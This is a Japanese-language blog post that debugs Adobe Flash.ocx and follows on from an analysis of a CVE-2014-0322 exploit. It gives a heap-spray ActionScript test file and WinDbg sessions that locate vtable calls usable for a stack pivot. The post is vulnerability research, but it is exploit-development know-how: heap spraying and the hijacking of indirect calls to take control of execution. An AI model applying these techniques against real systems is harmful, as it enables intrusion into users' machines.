Debugging Flash.ocx
ActionScript のオブジェクトについて少しデバッグしてみたので、そこで得られた結果などを紹介します。
まずは前回の続きです。Exploit が使っている C394 という Stack Pivot のコードの代わりに、デバッグ ブレークが発生するように CCCC という命令を選んで vtable を書き換え、得られたブレークがこれでした。
0:005> r
eax=1a001018 ebx=028eb8e0 ecx=241ff020 edx=07f3df20 esi=70185d60 edi=07fce810
eip=6f8e1fc8 esp=028eb830 ebp=028eb838 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200200
Flash+0x1fc8:
6f8e1fc8 cc int 3
0:005> dd esp
028eb830 70158fc5 07faeec8 028eb844 70185d70
028eb840 241ff021 028eb8a0 7019dd98 07faeec8
028eb850 00000001 028eb8e0 07fce810 07faeec8
028eb860 08340fa0 00000000 00000000 07fce810
028eb870 07faeec8 08046600 028eb8e8 00000000
028eb880 00000000 00000000 00000000 00000000
028eb890 00000000 00000007 00000000 ad5aa7aa
028eb8a0 028eb8c0 7019eb48 07faeec8 00000001
0:005> ub 70158fc5
Flash!IAEModule_AEModule_PutKernel+0x2b68d2:
70158fb2 2407 and al,7
70158fb4 3c01 cmp al,1
70158fb6 7512 jne Flash!IAEModule_AEModule_PutKernel+0x2b68ea (70158fca)
70158fb8 83f904 cmp ecx,4
70158fbb 720d jb Flash!IAEModule_AEModule_PutKernel+0x2b68ea (70158fca)
70158fbd 83e1f8 and ecx,0FFFFFFF8h
70158fc0 8b01 mov eax,dword ptr [ecx]
<<<<<<<< ecx: Sound object, eax: vtable
70158fc2 ff5078 call dword ptr [eax+78h]
<<<<<<<< calling Sound.toString()
0:005> dd ecx l8
241ff020 1a001018 400000ff 0832ef38 08355d60
241ff030 00000000 00000000 083a23b0 00000000
0:005> dd 1a001018
1a001018 768d5994 1a001c08 1a001000 00004000
1a001028 00000040 1a002000 6f8e1fc8 6f8e1fc8
1a001038 6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8
1a001048 6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8
1a001058 6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8
1a001068 6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8
1a001078 6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8
1a001088 6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8
0:005> ln 768d5994
(768d5994) kernel32!VirtualProtectStub | (768d59a5) kernel32!VirtualProtectExStub
Exact matches:
kernel32!VirtualProtectStub (<no parameter info>)
AVM2 (ActionScript) 上での Sound .toString() が、CPU 上では仮想テーブルを eax に入れたうえで call ptr [eax+78] を実行するような indirect call になっているので、Stack Pivot によって eip と esp を同時に乗っ取ることができるのでした。
以前紹介した以下のブログ記事に “In the exploit found in the wild, a Sound() object was used. I also chose to use it but it is possible to use any other object as long as you can control it.” という記述があり、Sound オブジェクトは既に exploit された実績があり、既知の情報として業界では有名なのかもしれません。
HDW Sec - Blog
http://hdwsec.fr/blog/CVE-2014-0322.html
知識として知っておくだけでも知らないよりは随分と違いますが、何もないところからどうやって見つけてくるのか、という方法を知りたいところです。そこで、exploit で使われていた Heap Spray のテクニックを応用してデバッグしてみました。
まずは ActionScript を書きます。
package {
import flash.display.Sprite;
import flash.events.*;
import flash.media.*;
import flash.printing.*;
import flash.system.fscommand;
import flash.utils.*;
import flash.xml.*;
public class Main extends Sprite {
public var mTimer:Timer;
public var mCounter:int;
public function Main():void {
this.mCounter = 0;
this.mTimer = new Timer(1000, 3600);
this.mTimer.addEventListener("timer", this.timerHandler);
this.mTimer.start();
buildBuffer();
}
public var mSound:Sound;
public var mPrint:PrintJob;
public var mXmlDoc:XMLDocument;
public var mXml:XML;
public var mSounds:Vector.<Object>;
public var mPrints:Vector.<Object>;
public var mXmlDocs:Vector.<Object>;
public var mXmls:Vector.<Object>;
public function buildBuffer():void {
this.mSound = new Sound();
this.mPrint = new PrintJob();
this.mXmlDoc = new XMLDocument();
this.mXml = <books>
<book publisher="Addison-Wesley" name="Design Patterns" />
<book publisher="Addison-Wesley" name="The Pragmatic Programmer" />
<book publisher="Addison-Wesley" name="Test Driven Development" />
<book publisher="Addison-Wesley" name="Refactoring to Patterns" />
<book publisher="O'Reilly Media" name="The Cathedral & the Bazaar" />
<book publisher="O'Reilly Media" name="Unit Test Frameworks" />
</books>;
var i:int = 0;
var j:int = 0;
var len0:int = 0x123;
var len1:int = 0x1234;
var len2:int = 0x5678;
var len3:int = 0x4321;
var len4:int = 0x4444;
this.mSounds = new Vector.<Object>(len0);
this.mPrints = new Vector.<Object>(len0);
this.mXmlDocs = new Vector.<Object>(len0);
this.mXmls = new Vector.<Object>(len0);
for ( i = 0 i < len0 ++i ) {
this.mSounds[i] = new Vector.<Object>(len1);
for ( j = 0 j < len1 ++j ) {
this.mSounds[i][j] = this.mSound;
}
this.mPrints[i] = new Vector.<Object>(len2);
for ( j = 0 j < len2 ++j ) {
this.mPrints[i][j] = this.mPrint;
}
this.mXmlDocs[i] = new Vector.<Object>(len3);
for ( j = 0 j < len3 ++j ) {
this.mXmlDocs[i][j] = this.mXmlDoc;
}
this.mXmls[i] = new Vector.<Object>(len4);
for ( j = 0 j < len4 ++j ) {
this.mXmls[i][j] = this.mXml;
}
}
trace("ready.");
}
public function hex(n:uint) : String {
var s:String = n.toString(16);
while( s.length < 8 ) {
s = '0' + s;
}
return s;
}
public function timerHandler(param1:TimerEvent) : void {
trace("+ENTER timerHandler: " + hex(mCounter += 1000));
trace("calling Sound.toString()...");
mSound.toString();
trace("calling PrintJob.willTrigger()...");
mPrint.willTrigger('jugemujugemu!');
trace("calling XMLDocument.parseXML()...");
mXmlDoc.parseXML('namuamidabutu');
trace("calling XML.descendants()...");
mXml.descendants('hoge');
}
}
}
HTML も書きます。例によって embed タグの間に空白を入れています。
<!DOCTYPE html>
<html>
<head></head>
<body>
<p>welcome to heapspray</p>
<em bed src="heapspray.swf" width="50" height="50"></em bed>
</body>
</html>
ActionScript をコンパイルして、得られた swf ファイルと HTML を適当な Web サーバーにデプロイします。今回スプレーしたオブジェクト、配列の長さ、試すメソッドは以下の 4 種類です。全部適当に選んでいます。
-
Sound length = 0x1234 method = toString() -
PrintJob length = 0x5678 method = willTrigger(type:String) -
XMLDocument length = 0x4321 method = parseXML(source:String) -
XML length = 0x4444 method = descendants(name:*)
今回は最新の環境でデバッグを行います。Flash Player はデバッグ機能がないものを使いました。
- OS: Windows 8.1 x64 with Update 1
- Browser: IE11 32bit + KB2977629 (Sep. 2014 Update)
- Flash Player: 15.0
やろうとすることは単純で、配列の長さの情報をメモリ上で検索してオブジェクトへのアドレスを見つけ、仮想テーブルのアドレスに対して read のアクセス ブレークポイントを設定するだけです。
まずは Sound.toString() から。狙い通りのところでブレークしました。Exploit のときは [eax+78] でしたが、今回は [eax+70] のアドレスを call するようです。Exploit では Windows 8 用のデバッグ機能付きの flash.ocx を使っており、環境が違うとvtable 上のオフセットも変わるということでしょう。Exploit の中で、狙っているメソッドを決め打ちしにいくメリットはあまりなく、広範囲にわたって vtable 書き換えるのが現実的なようです。
0:035> lmvm flash
start end module name
6fd20000 70f43000 Flash (deferred)
Image path: C:\Windows\SysWOW64\Macromed\Flash\Flash.ocx
Image name: Flash.ocx
Timestamp: Fri Sep 12 18:51:54 2014 (5413A33A)
CheckSum: 0113F37D
ImageSize: 01223000
File version: 15.0.0.167
Product version: 15.0.0.167
File flags: 0 (Mask 3F)
File OS: 4 Unknown Win32
File type: 2.0 Dll
File date: 00000000.00000000
Translations: 0409.04b0
CompanyName: Adobe Systems, Inc.
ProductName: Shockwave Flash
InternalName: Adobe Flash Player 15.0
OriginalFilename: Flash.ocx
ProductVersion: 15,0,0,167
FileVersion: 15,0,0,167
FileDescription: Adobe Flash Player 15.0 r0
LegalCopyright: Adobe? Flash? Player. Copyright ? 1996-2014 Adobe Systems Incorporated. All Rights Reserved. Adobe and Flash are either trademarks or registered trademarks in the United States and/or other countries.
LegalTrademarks: Adobe Flash Player
0:021> s -d 00000000 l1000000 00001234
03537dc0 00001234 03209010 03204100 724b2e6d 4..... ..A .m.Kr
036ebd58 00001234 000003a8 000004e4 00000000 4...............
0:021> s -d 04000000 l1000000 00001234
04983508 00001234 000000f0 00001244 00000834 4.......D...4...
049835c0 00001234 000000f0 00001244 00000834 4.......D...4...
049860e0 00001234 00002104 000016b4 00000834 4....!......4...
04986250 00001234 00002104 000016b4 00000834 4....!......4...
(snip)
0:021> s -d 08000000 l1000000 00001234
0800aac8 00001234 12350000 12371236 12380000 4.....5.6.7...8.
09f69024 00001234 0a0e2021 0a0e2021 0a0e2021 4...! ..! ..! ..
09f72024 00001234 0a0e2021 0a0e2021 0a0e2021 4...! ..! ..! ..
09f7f024 00001234 0a0e2021 0a0e2021 0a0e2021 4...! ..! ..! ..
09f8e024 00001234 0a0e2021 0a0e2021 0a0e2021 4...! ..! ..! ..
0a00d024 00001234 0a0e2021 0a0e2021 0a0e2021 4...! ..! ..! ..
0:021> ba r4 0a0e2020
0:021> g
Breakpoint 0 hit
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\SysWOW64\Macromed\Flash\Flash.ocx -
eax=70a24b14 ebx=00000000 ecx=0a0e2020 edx=09d54040 esi=0a042f10 edi=09c3f810
eip=704bae52 esp=02a3bf70 ebp=02a3bf74 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
Flash!IAEModule_AEModule_PutKernel+0x1ec142:
704bae52 ff5070 call dword ptr [eax+70h] ds:002b:70a24b84=c04d4b70
0:002> ub .
Flash!IAEModule_AEModule_PutKernel+0x1ec130:
704bae40 8bc1 mov eax,ecx
704bae42 2407 and al,7
704bae44 3c01 cmp al,1
704bae46 7512 jne Flash!IAEModule_AEModule_PutKernel+0x1ec14a (704bae5a)
704bae48 83f904 cmp ecx,4
704bae4b 720d jb Flash!IAEModule_AEModule_PutKernel+0x1ec14a (704bae5a)
704bae4d 83e1f8 and ecx,0FFFFFFF8h
704bae50 8b01 mov eax,dword ptr [ecx]
0:002> u .
Flash!IAEModule_AEModule_PutKernel+0x1ec142:
704bae52 ff5070 call dword ptr [eax+70h]
704bae55 5f pop edi
704bae56 5d pop ebp
704bae57 c20400 ret 4
704bae5a 56 push esi
704bae5b 51 push ecx
704bae5c 8b4a04 mov ecx,dword ptr [edx+4]
704bae5f e83cfbfeff call Flash!IAEModule_AEModule_PutKernel+0x1dbc90 (704aa9a0)
では次のメソッド、PrintJob.willTrigger です。
0:016> s -d 08000000 l1000000 00005678
0a147024 00005678 09c0e859 09c0e859 09c0e859 xV..Y...Y...Y...
0a403024 00005678 09c0e859 09c0e859 09c0e859 xV..Y...Y...Y...
0a43c024 00005678 09c0e859 09c0e859 09c0e859 xV..Y...Y...Y...
0a488024 00005678 09c0e859 09c0e859 09c0e859 xV..Y...Y...Y...
0a4c1024 00005678 09c0e859 09c0e859 09c0e859 xV..Y...Y...Y...
0:016> ba r4 09c0e858
0:016> g
Breakpoint 0 hit
eax=70a23af4 ebx=09c3f810 ecx=09c0e858 edx=09c0e858 esi=09c0e858 edi=09c0e859
eip=7014f13b esp=02a3c0c0 ebp=02a3c0d4 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246
Flash!DllUnregisterServer+0x9b45b:
7014f13b ff750c push dword ptr [ebp+0Ch] ss:002b:02a3c0e0=01000000
0:002> ub .
Flash!DllUnregisterServer+0x9b447:
7014f127 83cf01 or edi,1
7014f12a 8bc8 mov ecx,eax
7014f12c 8bd7 mov edx,edi
7014f12e e8dd903500 call Flash!IAEModule_AEModule_PutKernel+0x1d9500 (704a8210)
7014f133 8bce mov ecx,esi
7014f135 84c0 test al,al
7014f137 7519 jne Flash!DllUnregisterServer+0x9b472 (7014f152)
7014f139 8b06 mov eax,dword ptr [esi]
0:002> u .
Flash!DllUnregisterServer+0x9b45b:
7014f13b ff750c push dword ptr [ebp+0Ch]
7014f13e ff7508 push dword ptr [ebp+8]
7014f141 8b808c000000 mov eax,dword ptr [eax+8Ch]
7014f147 ffd0 call eax
7014f149 5f pop edi
7014f14a 5e pop esi
7014f14b 5b pop ebx
7014f14c 8be5 mov esp,ebp
こちらもヒットしました。vtable の +8C のところにあるアドレスを実行しています。しかし、これは同じ方法で exploit に使うことはできません。indirect call ではあるのですが、eax+8C にある関数のアドレスを一度 eax に代入してから call しているので、eax と esp 交換するだけの Stack Pivot では esp を乗っ取ることができません。仮想テーブルのアドレスが esi に残っているので、これを使えば何とか、というところですが・・・esi を参照して eax などのレジスターに入れてから esp と交換、するようなコードを見つけることができれば使えます。
次のクラスに移る前に、もう少し調べてみたいことがあります。ActionScript 上の willTrigger は String クラスの引数を 1 つ取ります。アセンブリを見ると、call の前に 2 回 push しているので、vtable+8C は引数を 2 つ取る関数のように見えます。call までステップ オーバーしてスタックの中身を見ます。
eax=70a23af4 ebx=09c3f810 ecx=09c0e858 edx=09c0e858 esi=09c0e858 edi=09c0e859
eip=7014f13b esp=02a3c0c0 ebp=02a3c0d4 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246
Flash!DllUnregisterServer+0x9b45b:
7014f13b ff750c push dword ptr [ebp+0Ch] ss:002b:02a3c0e0=01000000
0:002> p
eax=70a23af4 ebx=09c3f810 ecx=09c0e858 edx=09c0e858 esi=09c0e858 edi=09c0e859
eip=7014f13e esp=02a3c0bc ebp=02a3c0d4 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246
Flash!DllUnregisterServer+0x9b45e:
7014f13e ff7508 push dword ptr [ebp+8] ss:002b:02a3c0dc=b8cc0b0a
0:002>
eax=70a23af4 ebx=09c3f810 ecx=09c0e858 edx=09c0e858 esi=09c0e858 edi=09c0e859
eip=7014f141 esp=02a3c0b8 ebp=02a3c0d4 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246
Flash!DllUnregisterServer+0x9b461:
7014f141 8b808c000000 mov eax,dword ptr [eax+8Ch] ds:002b:70a23b80=20e81470
0:002>
eax=7014e820 ebx=09c3f810 ecx=09c0e858 edx=09c0e858 esi=09c0e858 edi=09c0e859
eip=7014f147 esp=02a3c0b8 ebp=02a3c0d4 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246
Flash!DllUnregisterServer+0x9b467:
7014f147 ffd0 call eax {Flash!DllUnregisterServer+0x9ab40 (7014e820)}
0:002> dd esp
02a3c0b8 0a0bccb8 00000001 09c0e858 0a0bccb8
02a3c0c8 09c3f810 704b384d 09c3000a 02a3c0fc
02a3c0d8 70152897 0a0bccb8 00000001 02a3c0f4
02a3c0e8 09ba2fc0 02a3c2e0 09c3f810 0a120c70
02a3c0f8 9d5b780c 02a3c108 70195a40 0a0bccb8
02a3c108 02a3c158 0a0f41c8 0a075ef8 00000001
02a3c118 02a3c138 0a0f4179 00000011 00000000
02a3c128 0a0dd080 00005208 0a0d80ac 0a0dd080
0:002> dd 0a0bccb8
0a0bccb8 70a8b9fc 40000002 09c8e7a4 00000000
0a0bccc8 0000000d 0000001a 70a8b9fc 40000002
0a0bccd8 09c8e782 00000000 00000021 0000001a
0a0bcce8 70a8b9fc 40000002 09c8e766 00000000
0a0bccf8 0000001b 0000001a 70a8b9fc 40000002
0a0bcd08 09c8e74c 00000000 00000015 0000001a
0a0bcd18 70a8cbe4 00000017 09fed1f0 0a0bcd30
0a0bcd28 09bb1c91 20000001 70a8cbe4 00000003
0:002> dd 70a8b9fc
70a8b9fc 70490070 70491f70 704931c0 7064d0cb
70a8ba0c 704bb7f0 70494050 6ff39720 704943a0
70a8ba1c 70494310 70494330 704946f0 6ff39ad0
70a8ba2c 6fe3a620 70494290 6ff39720 704943a0
70a8ba3c 70494310 70494330 70494700 70494900
70a8ba4c 704944e0 70496190 70494180 70494c60
70a8ba5c 7064d0cb 70495600 6fdc66e0 7064d0cb
70a8ba6c 702e65f0 70495e20 704957d0 6ff50820
0:002> db 09c8e7a4
09c8e7a4 6a 75 67 65 6d 75 6a 75-67 65 6d 75 21 0b 77 69 jugemujugemu!.wi
09c8e7b4 6c 6c 54 72 69 67 67 65-72 21 63 61 6c 6c 69 6e llTrigger!callin
09c8e7c4 67 20 58 4d 4c 44 6f 63-75 6d 65 6e 74 2e 70 61 g XMLDocument.pa
09c8e7d4 72 73 65 58 4d 4c 28 29-2e 2e 2e 0d 6e 61 6d 75 rseXML()....namu
09c8e7e4 61 6d 69 64 61 62 75 74-75 08 70 61 72 73 65 58 amidabutu.parseX
09c8e7f4 4d 4c 1c 63 61 6c 6c 69-6e 67 20 58 4d 4c 2e 64 ML.calling XML.d
09c8e804 65 73 63 65 6e 64 61 6e-74 73 28 29 2e 2e 2e 04 escendants()....
09c8e814 68 6f 67 65 0b 64 65 73-63 65 6e 64 61 6e 74 73 hoge.descendants
最初に push されていたのは 1 なので、これは無視するとして、第一引数はオブジェクトの参照のように見えます。実際に参照先をダンプすると、オフセット +0 は vtable で、明らかに何かのクラスです。+8 のところにあるアドレスをダンプしてみると、引数として与えた “ jugemujugemu!” という文字を指していました。ということで第一引数は ActionScript 上の引数である String オブジェクトと同等のものが渡されていると考えてもよさそうです。
さて次のメソッド、XMLDocument.parseXML。vtable らしき構造はあるのにブレークせず。何かコードがまずいのだろうか。よく分からないのでパス。
0:014> s -d 08000000 l1000000 00004321
0a3e0024 00004321 0a131041 0a131041 0a131041 !C..A...A...A...
0a419024 00004321 0a131041 0a131041 0a131041 !C..A...A...A...
0a452024 00004321 0a131041 0a131041 0a131041 !C..A...A...A...
0a475024 00004321 0a131041 0a131041 0a131041 !C..A...A...A...
0a49e024 00004321 0a131041 0a131041 0a131041 !C..A...A...A...
0a4d7024 00004321 0a131041 0a131041 0a131041 !C..A...A...A...
0:014> ba r4 0a131040
0:014> g
ヒットせず・・・
最後、XML.descendants。
0:013> s -d 08000000 l1000000 00004444
08288f14 00004444 00004a44 00005044 00005644 DD..DJ..DP..DV..
0a3f1024 00004444 0a045941 0a045941 0a045941 DD..AY..AY..AY..
0a42a024 00004444 0a045941 0a045941 0a045941 DD..AY..AY..AY..
0a463024 00004444 0a045941 0a045941 0a045941 DD..AY..AY..AY..
0a4af024 00004444 0a045941 0a045941 0a045941 DD..AY..AY..AY..
0a4e8024 00004444 0a045941 0a045941 0a045941 DD..AY..AY..AY..
0a529024 00004444 0a045941 0a045941 0a045941 DD..AY..AY..AY..
0:013> ba r4 0a045940
0:013> g
Breakpoint 0 hit
eax=70a8c930 ebx=09c3f810 ecx=09b9b240 edx=00000010 esi=0a045940 edi=09ba2fc0
eip=704b0d11 esp=02a3c0dc ebp=02a3c0f4 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246
Flash!IAEModule_AEModule_PutKernel+0x1e2001:
704b0d11 8d4dec lea ecx,[ebp-14h]
0:002> ub .
Flash!IAEModule_AEModule_PutKernel+0x1e1fea:
704b0cfa 8945f4 mov dword ptr [ebp-0Ch],eax
704b0cfd 8945f8 mov dword ptr [ebp-8],eax
704b0d00 8d45ec lea eax,[ebp-14h]
704b0d03 8b4904 mov ecx,dword ptr [ecx+4]
704b0d06 50 push eax
704b0d07 ff7508 push dword ptr [ebp+8]
704b0d0a e8417bffff call Flash!IAEModule_AEModule_PutKernel+0x1d9b40 (704a8850)
704b0d0f 8b06 mov eax,dword ptr [esi]
0:002> u .
Flash!IAEModule_AEModule_PutKernel+0x1e2001:
704b0d11 8d4dec lea ecx,[ebp-14h]
704b0d14 51 push ecx
704b0d15 8bce mov ecx,esi
704b0d17 ff500c call dword ptr [eax+0Ch]
704b0d1a 50 push eax
704b0d1b e82007ffff call Flash!IAEModule_AEModule_PutKernel+0x1d2730 (704a1440)
704b0d20 8b4dfc mov ecx,dword ptr [ebp-4]
704b0d23 83c404 add esp,4
今度は狙い通りブレーク。call も関数のアドレスをレジスタに入れることなく、そのまま call ptr [eax+c] しているところはよいのですが、オフセットの +C というのは小さすぎて使えない気がします。
それにしても、ちょうどいいメソッドを見つけるのは難しいものです。なんだかんだ素直に Sound.toString() を使うのが最良の選択といったところ。しかし、アクセス ブレークポイントを使ってある程度はデバッガーから Flash オブジェクトの動きを探れないこともなさそうです。頑張れば解析ツールを書くことも技術的には可能か・・・。